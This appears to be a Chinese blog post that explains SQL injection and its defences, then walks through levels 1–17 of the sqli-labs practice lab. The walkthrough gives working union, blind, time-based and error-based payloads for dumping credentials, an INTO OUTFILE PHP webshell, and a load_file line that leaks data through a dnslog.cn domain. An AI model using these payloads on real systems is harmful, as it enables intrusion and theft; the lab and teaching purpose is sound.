当前位置:   article > 正文

SQL注入靶场通关

sql注入靶场

SQL注入靶场通关

SQL注入简介

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,使web服务器执行恶意命令的过程。可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

SQL注入过程

第一步

SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步

收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,要判断数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步

猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步

查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步

入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

SQL注入方法

由于编写程序时未对用户输入数据的合理性进行判断,导致攻击者能在SQL Injection的注入点中夹杂代码进行执行,并通过页面返回的提示,获取进行下一步攻击所需的信息。根据输入的参数,可将SQL注入方式大致分为两类:数字型注入、字符型注入

1、数字型注入

当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

2、字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合

攻击特点

SQL注入攻击是目前web应用网络攻击中最常见的手段之一,安全风险较高,在一定程度上超过缓冲区溢出漏洞,而市场上的防火墙又不能对SQL注入漏洞进行有效的检测和防范。防火墙为了使正常网络应用程序访问服务器端的数据,必须允许从互联网到Web服务器的正向连接,因此一旦web网络应用程序存在注入漏洞,攻击者就可以获取访问数据库的权利进而获得数据库所在服务器的访问权在某些情况下,SQL注入攻击的风险要高于缓冲区溢出漏洞等所有其他漏洞。SQL注入攻击普遍存在范围广、实现容易、破坏性大等特点。
SQL注入攻击者在HTTP请求中输入含有恶意构造且语法合法的SQL语句,只要应用程序中没有做严格的处理(例如校验或预拼接),那么就会出现SQL注入漏洞危险,目前以PHP、Perl、Cold Fusion Management等技术与Oracle、SQLServer、Sybase、DB2等数据管理系统相结合的Web应用程序都发现有SQL注入漏洞。
SQL注入技术公布后不久,互联网上出现了很多例如教主的HDSI、NBSI、明小子的Domain等SQL注入工具,对那些存在SQL注入的网站以及Web应用程序进行攻击,很容易就可以获取其服务器的控制权。

攻击手法

1、基于布尔的盲注

因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。

2、基于时间的盲注

当布尔型注入没有结果(页面显示正常)的时候,很难判断注入的代码是否被执行,也不确定这个注入点存不存在,基于时间的盲注便应运而生,根据web页面相应的时间差来判断该页面是否存在SQL注入点。

3、联合查询注入

使用联合查询进行注入的前提是要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入根据页面的返回结果来判断站点中的字段数目

4、基于错误信息的注入

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

检测技术

SQL注入的检测方式目前主要有两大类,第一:动态监测,即在系统运行时,通常在系统验收阶段或上线运行阶段使用该方法,使用动态监测攻击对其系统进行扫描,然后依据扫描结果判断是否存在SQL注入漏洞。第二:静态检测,又称静态代码扫描,对代码做深层次分析。

1、动态检测

动态监测分为两类:手工监测以及工具监测。相对于手动监测的高成本以及高漏检率,在实际生产过程中更偏向于工具监测,但工具监测同样存在较大的局限性。其原因在于工具是用报文来判断SQL注入是否生效,然而仅仅通过报文是很难精准地判断SQL注入是否存在,因此存在较高的误报率。

2、静态检测

静态检测的误报率相对较低,其主要原因在于SQL注入漏洞的代码特征较为明显

(1)使用数据库交互代码; 
(2)使用字符串拼接方式构造动态SQL语句; 
(3)使用未过滤的不可信任数据。
  • 1
  • 2
  • 3

在常规的排查应用系统中是否存在SQL注入漏洞时,由于静态扫描的代码特征明显,误报率低和直接阅读相关代码,工作总量减少的优势,通常使用静态扫描。

注入防范措施

SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面。

1、分级管理

对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。例如上述实例中用户在查询语句中加入了drop table。肯定是不能让其执行的,否则系统的数据库安全性就无法保障。故而通过权限的设计限制。使得即使恶意攻击者在数据提交时嵌入了相关攻击代码。但因为设置了权限,从而使得代码不能执行。从而减少SQL注入对数据库的安全威胁。

2、参数传值

程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。

3、基础过滤与二次过滤

SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。

4、使用安全参数

SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。
SQLServer数据库提供了Parameters集合,它在数据库中的功能是对数据进行类型检查和长度验证,当程序员在程序设计时加入了Parameters集合,系统会自动过滤掉用户输入中的执行代码,识别其为字符值。如果用户输入中含有恶意的代码,数据库在进行检查时也能够将其过滤掉。同时Parameters集合还能进行强制执行检查。一旦检查值超出范围。系统就会出现异常报错,同时将信息发送系统管理员,方便管理员做出相应的防范措施。

5、漏洞扫描

为了更有效地防范SQL注入攻击,作为系统管理除了设置有效的防范措施,更应该及时发现系统存在SQL攻击安全漏洞。系统管理员可以通过采购一些专门系统的SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。虽然漏洞扫描工具只能扫描到SQL注入漏洞,不能防范SQL注入攻击。但系统管理员可以通过扫描到的安全漏洞,根据不同的情况采取相应的防范措施封堵相应的漏洞,从而把SQL注入攻击的门给关上,从而确保系统的安全。

6、多层验证

现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。

7、数据库信息加密

传统的加解密的方法大致可以分为三种:

(1)对称加密

即加密方和解密方都使用相同的加密算法和密钥,这种方案的密钥的保存非常关键,因为算法是公开的,而密钥是保密的,一旦密匙泄露,黑客仍然可以轻易解密。常见的对称加密算法有:AES、DES等。

(2)非对称加密

即使用不同的密钥来进行加解密,密钥被分为公钥和私钥,用私钥加密的数据必须使用公钥来解密,同样用公钥加密的数据必须用对应的私钥来解密,常见的非对称加密算法有:RSA等。

(3)不可逆加密

利用哈希算法使数据加密之后无法解密回原数据,这样的哈希算法常用的有:md5、SHA-1等。

SQLI-LAB靶场通关

-- #
-- - 
-- +
注释掉后面没有用的语句只执行想要执行的sql语句
order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database()­­ -- -
­显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

Page-1(Basic Challenges)基本挑战

less 1----基于单引号的字符型注入 基于错误的GET单引号字符型注入

在这里插入图片描述
黄色字符提示传入参数ID,ID的数据类型是数值
所以使用id=1进行测试

在这里插入图片描述
可以看到页面显示了登录名和登录秘码
尝试使用单引号进行语句闭合
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

您的SQL语法有错误;查看与MySQL服务器版本对应的手册,以了解第1行中接近“1”限制0,1的正确语法
  • 1
  • 2
  • 3

使用id=1' and 1=1 --+进行测试注入点是否存在
将语句更改为id=1‘ and 1=2 --+进行测试发现页面显示正常,所以注入点存在
在这里插入图片描述
在这里插入图片描述

通过报错内容可以得出id参数传入的数据类型是str类型,传入的是1‘
得到报错信息,就可以使用order by 进行列数的猜测
使用语句?id=1' order by ??处填写猜测的数字,进行访问

确定了注入点,注入字符后,要进行判断表存在多少列,当输入的列数超过了原本存在的列数,会报错

id=1' order by 3 --+ 返回正常
id=1' order by 4 --+ 返回异常

Unknown column '4' in 'order clause'
“order子句”中的未知列“4”
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
在这里插入图片描述
接下来进行判断数据显示点,要将id的参数改为-1或者0,这样操作可以不显示之前的查询结果,只显示想要执行查询的sql语句

已经确定了列数是3
所以使用联合查询注入找到注入显示点
未经更改0或者负数的语句的回显
?id=1' union select 1,2,3 -- +
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

更改为负数或者0的回显
?id=-1' union select 1,2,3 -- +
  • 1
  • 2

在这里插入图片描述
所以更改select子句中的2和3为想查询数据库信息的其他语句就可以进行数据库的爆破了

使用联合注入查询数据库名和数据库的版本信息
?id=-1' union select 1,database(),version() -- +
  • 1
  • 2

在这里插入图片描述

跨库查询表内表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'  -- +

因为输出点只有一个所以3需要保留否则会报错。

group_concat函数可将多个字符串连接成一个字符串,可以把表名合并一条进行输出
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述

查询user字段的内容
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'  --+
  • 1
  • 2

在这里插入图片描述

查询用户名和密码
?id=-1' union select 1,username,password from users -- +
  • 1
  • 2

在这里插入图片描述

在这里插入图片描述

?id=-1' union select 1,username,password from users where id=2 -- +
通过更改where子句中的id的参数值查看不同行数的用户名和密码
  • 1
  • 2

less 2----基于整形的注入 基于错误的GET整型注入

在这里插入图片描述

Please input the ID as parameter with numeric value

基于整数的请输入ID作为参数,并输入数值
  • 1
  • 2
  • 3

通过提示可以得到这一关是通过整形进行注入的,所以使用id=1 and 1=1进行测试
在这里插入图片描述
同第一关的差别在于第一关是通过单引号进行闭合,是字符型的SQL注入,所以需要进行闭合操作,第二关是通过整形数据进行操作,所以不需要使用单引号进行闭合,将id参数的值直接输入即可,其他操作同上一关

less 3----基于扭曲单引号的注入,基于’)的注入 基于错误的GET单引号变形字符型注入

在这里插入图片描述

Please input the ID as parameter with numeric value
请输入ID作为带数值的参数
  • 1
  • 2

将id的参数设置为1’进行测试法相回显报错
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
您的SQL语法有错误;查看与您的MySQL服务器版本对应的手册,了解在第1行“1”附近使用的正确语法)限制0,1
  • 1
  • 2

查看报错信息发现,报错信息在1‘)附近,相比第一关多了一个反括号,所以使用id=1') and 1=1进行测试
在这里插入图片描述
所以通过关卡提示扭曲的单引号的意思就是不再使用单一的单引号进行闭合注入,需要使用单引号和反括号共同进行闭合操作,将第一关所有语句的单引号后增加一个反括号),其他操作同第一关

less 4----基于双引号的注入 双注入GET单引号字符型注入

在这里插入图片描述
因为题目的提示是基于双引号的注入所以使用id=1”进行测试
在这里插入图片描述
测试发现并不行,回显报错,提示信息和第三关相似,都是多了一个反括号)所以更换语句id=1") 进行测试
在这里插入图片描述
发现回显正常,所以这一关是通过双引号和反括号进行注入,其他操作同第一关

less 5----双注入GET单引号字符型注入 基于’字符型的错误回显注入

在这里插入图片描述
通过构造语句进行测试注入点,尝试发现能够正常访问页面
在这里插入图片描述

Length()函数 返回字符串的长度
substr()截取字符串,偏移是从1开始,而不是0开始
ascii()返回字符的ascii码
count(column_name)函数返回指定列的值的数目(NULL 不计入)
  • 1
  • 2
  • 3
  • 4

从这一关开始就有盲注了,所以介绍一下盲注的一些方法

手工盲注

二分法进行手工盲注。手工盲注可以使用BurpSuite,构造payload在Repeater点击Go进行发包
1.猜库
用到获取当前数据库函数database()

" or (length(database())=?)--+正常

问号处填写猜解的长度数字 
  • 1
  • 2
  • 3

猜库名
第一个字符

" or (ascii(substr(database(),1,1))>10)--+正常
依次猜解数据库的字符,可将(database(),?,1)问号处更改为想要猜解的位数进行第某位的猜解
  • 1
  • 2

2.猜表

猜表长

" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=?)--+

问号处填写猜测的长度数字
  • 1
  • 2
  • 3

猜第一个字符

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>?)--+

问号处填写猜测的字符码
更改第某位字符进行依次猜解
  • 1
  • 2
  • 3
  • 4

3.猜字段

猜字段长

" or (length((select column_name from information_schema.columns where table_name='user' and table_schema=database() limit x,y))=z)--+

x代表列数,z代表字段长度
  • 1
  • 2
  • 3

猜字段名
第一个字段

" or (ascii(substr((select column_name from information_schema.columns where table_name='user' and table_schema=database() limit 0,1),1,1))>?)--+
  • 1

3.猜数据

猜数据长

" or (length((select password from challenges.user_2 limit 1,1))=?)--+
  • 1

猜数据值

" or (ascii(substr((select password from challenges.user limit 1,1),1,1))>?)--+

说明user表的password字段的第2条数据(limit 1,1意思是从1开始取(即第二条数据),取一条数据。)的数据值的第一个字符ASCII码
  • 1
  • 2
  • 3
BurpSuite半自动化盲注

BurpSuite的一个功能模块Intruder,构造payload设置变量进行爆破,然后根据返回长度进行排序整理。

盲注也分很多种方式方法,有布尔型盲注、报错型注入、时间延迟型盲注

用于测试时间延迟注入的测试语句

?id=1' and sleep(5) --+
  • 1
  • 2
  • 3

通过测试发现明显的延迟,所以通过时间延迟注入进行爆破

时间延迟注入,正确会存在延迟,错误就不存在延迟,时间延迟型和报错型的构造大都相同

构造payload
?id=1' and if(length()database())=?,sleep(5),1) --+

?处填写猜饿的字段长度
  • 1
  • 2
  • 3
  • 4

因为之前已经做过,爆破了数据库名为security,所以直接将问好出替换为8,进行测试,访问过程中感到明显延迟,所以猜测成功
在这里插入图片描述

也可以通过普通手工盲注进行注入,但是不建议使用,很浪费时间,因为有很多的字符需要去猜测,并没有足够的时间进行测试,这类操作建议使用工具进行注入
?id=1' and ascii(substr(database(),1,1)) = 's' --+
因为已经知道第一个字符是s,所以进行测试
  • 1
  • 2
  • 3

在这里插入图片描述

还可以使用concat()聚合函数进行双重查询注入,使用这个函数进行注入时,会在错误信息中显示想要查询的信息

爆破库名的语句
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+

?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+

通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现注入结果与报错信息回显的注入方式。

rand函数用于制造随机数,但是当给定了种子之后就不会出现不同情况,每次都会相同
floor函数用于返回小于等于括号内该值的最大整数

这段sql语句报错的原因是,每一次去进行分组计次的时候,随机数函数都会进行一次运行,所以就会报错,更新临时表不会计算随机数,但是当插入的时候会重新计算随机数,所以这样的操作会导致冲突,通过测试发现如果不设置随机数的种子可能会出现又是报错又是不爆错的情况,但是确定了随机数的种子之后就一定会报错,所以在进行注入时,要将随机数的种子进行设置。

这段sql语句所有函数都是固定的不要轻易更改为其他语句,如果进行其他数据库的操作可更改,被~包裹的语句进行对数据库的其他操作
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述
这样就可以对数据库进行操作,其他操作通过更改核心语句即可

也可以通过其他函数进行报错注入
updatexml函数
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

形成原因:updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数不符合规则,但会将括号内的执行结果以错误的形式报出,实现报错注入。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
爆用户
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

?id=1' union select updatexml(1,concat('~',(select user()),'~'),1) -- +
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

爆表名
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

?id=1' union select updatexml(1,concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~'),1) -- +

修改limit x,1 遍历表名,找到user表,猜测存放username和password
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述

爆列名
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~'),1) -- +
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

爆字段
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+

修改limit x,1 显示第x个用户的password和username  (‘[’分隔符)
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

less 6----双注入GET双引号字符型注入 基于"字符型的错误回显注入

在这里插入图片描述

双引号字符型注入,将第五关的单引号改为双引号其他操作相同

less 7----导出文件GET字符型注入 文件读写注入

服务器网站主页文件夹目录路径

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache .../var/www/htm,.../var/www/html/htdocs

phpstudy ...\PhpStudy\WWW\

xammp ..\xampp\htdocs
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

使用其他简单的less查看存放网页站点文件的目录路径

?id=-1' union select 1,@@basedir,@@datadir --+
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
通过语句可以查看目录路径地址
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\eval.php" --+
向目标路径进行写入一个名为eval的php一句话木马,意思是打开命令行
  • 1
  • 2

方法需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。

如果使用的时phpstudy,或xammp修改环境里的mysql配置文件。

进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果没有secure_file_priv这个选项,直接添加即可。
在这里插入图片描述
可以看到页面回显,虽然报错,但是通过浏览器进行访问测试,确实上传成功
在这里插入图片描述
查看目标目录路径下也确实写入了文件
在这里插入图片描述
使用蚁剑进行连接测试,在口令处填写post函数内自定义的字符串,成功连接
在这里插入图片描述

less 8----基于’的盲注(利用dns回显)布尔型单引号GET盲注

因为题目已经给了提示,所以使用语句?id=-1 and 1=1 -- +进行测试,发现并没有回显,再使用语句?id=1' 和 ?id=1' --+继续进行测试,
所以是需要单引号进行闭合才能进行注入
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

?id=1' and length(database())=? --+ 
意思是通过判断回显猜测数据库长度,当?处填入8时有回显,当输入其他数字则没有回显
  • 1
  • 2

在这里插入图片描述
在这里插入图片描述
也可以通过时间延迟注入进行判断,因为一般的盲注是什么回显都没有的所以使用时间延迟注入会更贴近实际一些

时间延迟注入语句
?id=1' and if(length(database())>?,1,sleep(5))  --+

通过更改?处猜测数据库长度,如果正确就不会存在延迟,如果猜测错误就会存在延迟
  • 1
  • 2
  • 3
  • 4
?id=1' and left((select database()),1)='s'--+
猜测数据库左数第一个字符是什么,正确有回显,错误没有回显

这里也是最好使用时间延迟注入
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述
在这里插入图片描述

http://dnslog.cn/

?id=1' and load_file(concat("\\\\",(database()),".vqq56x.dnslog.cn\\1.txt")) -- +
  • 1
  • 2
  • 3

在这里插入图片描述
通过查看页面数据显示可以看到回显,但是需要对数据库配置文件进行修改,所以不是很建议使用这种方法,所以只能靠盲注进行猜

less 9----基于’的时间盲注 基于时间的GET单引号盲注

题目已经进行了提示,所以使用时间延迟注入进行测试?id=1 and sleep(5) --+有明显延迟所以注入点验证成功,其他操作通过忙著的手工注入方法进行注入,使用语句进行数据库长的的测试id=1' and if(length(database())>5 ,sleep(5),1) -- -
在这里插入图片描述
观察有明显延迟,说明判断错误,更改为8,没有明显延迟,说明测试成功,数据库的长度就是8,就可以进行数据库的字符串测试
在这里插入图片描述
当确定了注入点其他操作同第五关。进行爆破数据库,爆破表名,爆破用户名密码等等操作

less 10----基于"的时间盲注 基于时间的双引号盲注

与上一关除了将单引号改为双引号其他操作相同
在这里插入图片描述

11到21关的提交方式是post,这里使用普通浏览器进行注入测试,但是post只能使用burpsuit,修改参数。

在这里插入图片描述

less 11----基于’的POST型注入 基于错误的POST型单引号字符型注入

在这里插入图片描述
考虑到只有一个表单提交处,所以使用之前爆破过的用户名密码进行测试
在这里插入图片描述
这里提示登陆的信息,如果输入错误的就没有反应,还是原页面的样子,并且可以发现在url上并没有体现传递的参数值,所以这是post方法进行传输数据,打开检查可以看到post传递数据的data,
在这里插入图片描述
也可以通过构造以' " )结尾的data进行测试,查看数据库语法结构,进行绕过的检验,因为关卡提示是单引号所以使用单引号进行测试,成功报错,显示数据库语句特点。在这里插入图片描述
改data为admin‘ and 1=1 --+ 进行测试
在这里插入图片描述
并不能进行登录,所以尝试使用其他工具
在burpsuit中配置好CA证书,代理服务器地址和端口,将本机的代理也设置为与burpsuit相同的代理地址和端口,使用proxy模块进行拦截数据包,点击forward进行请求,查看传递的post数据
在这里插入图片描述
将获取到的数据发送到repeater中进行data数据的更改,改为想要进行注入的恶意sql语句
在这里插入图片描述

uname使用admin' and 1=1 -- -可以正常登录
     使用admin' and 1=2 -- -则登陆失败

所以注入点确定
  • 1
  • 2
  • 3
  • 4

接下来就是正常的sql注入流程

evtractvalue函数用于查询,用法与updaxml类似,和updatexml一样,限制长度32位。

  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。
  • 1
  • 2
  • 3
  • 4
  • 5
爆库payload
admin' and extractvalue(1,concat(0x7e,(select database()))) --+
0x7e是波浪线转码后的表达式,因为可能单引号被过滤,会导致SQL语句执行报错,所以使用编码格式进行显著提醒
  • 1
  • 2
  • 3

在这里插入图片描述

爆表payload
admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
加上not in ()可以查看其他表
admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+

但是这里显示只有部分,查看数据库,发现只有这四个表
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述
在这里插入图片描述

爆列名payload
admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

  • 1
  • 2
  • 3

在这里插入图片描述

爆值payload
admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

使用not in 可以查询其他值
admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
在这里插入图片描述
同样可以是用联合注入进行测试

通过语句查看显示点
1' union select 2,3  --+
  • 1
  • 2

在这里插入图片描述

爆库payload
1' union select 2,database() -- -
  • 1
  • 2

在这里插入图片描述

爆值payload
1' union select concat(0x7e,(select group_concat(username,0x3a,password) from users)),database() -- -
  • 1
  • 2

在这里插入图片描述
其他方法改变显示点的payload即可

less 12----基于")的POST型注入 基于错误的双引号POST型字符型变形的注入

同上一关相同只是将单引号闭合改为双引号加反括号进行闭合,其他操作相同
在这里插入图片描述

less 13----基于’)的错误回显注入 POST单引号变形双注入

还是通过测试注入点语句进行测试admin’
在这里插入图片描述

发现报错信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') and password=('') LIMIT 0,1' at line 1
通过报错信息可以看出来是使用单引号加反括号进行闭合的,所以进行payload的编写

爆库payload
使用函数
admin') and extractvalue(1,concat(0x7e,(select database())))  and ('
admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

在这里插入图片描述
其他payload请参考以上关卡进行操作,大致相同,更改绕过方式即可,将单引号后添加反括号进行绕过

less 14----基于"的错误回显注入 POST单引号变形双注入

在这里插入图片描述
其他payload请参考以上关卡进行操作,大致相同,更改绕过方式即可,将单引号改为双引号进行绕过
在这里插入图片描述

less 15----基于’的POST型注入(利用dns回显) 基于bool型/时间延迟单引号POST型盲注

利用dns回显方法参考第八关进行操作,需要配置数据库配置文件,打开读写配置

进行注入点测试,发现怎么输入都没有回显
在这里插入图片描述
都是没有回显,所以使用时间盲注,先布尔测试

admin' and 1=1 -- -
admin' and 1=2 -- -
  • 1
  • 2

可以看到1=1返回蓝色字体成功,1=2 返回红色字体失败

时间延迟注入payload
admin' and sleep(5) -- -
通过burpsuit能够发现明显延迟,在refer模块中有明显时间长度的白屏时间
  • 1
  • 2
  • 3

在这里插入图片描述

爆库
长度
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
第一个字符
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
爆表
第一个字符 
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
爆长度和表名
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
爆值
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

less 16----基于")的POST型注入(利用dns回显)基于bool型/时间延迟的双引号POST型盲注

在这里插入图片描述
通过闭合测试,得到闭合方式是双引号加反括号,尝试上一关的payload进行更改是否可以进行注入

在这里插入图片描述
通过更改payload可以进行注入,所以将上一关的绕过方式进行更改即可进行这一关的注入测试

less 17----基于’的密码报错注入 基于错误的更新查询POST注入

这一关毫无头绪,查看php源代码
在这里插入图片描述
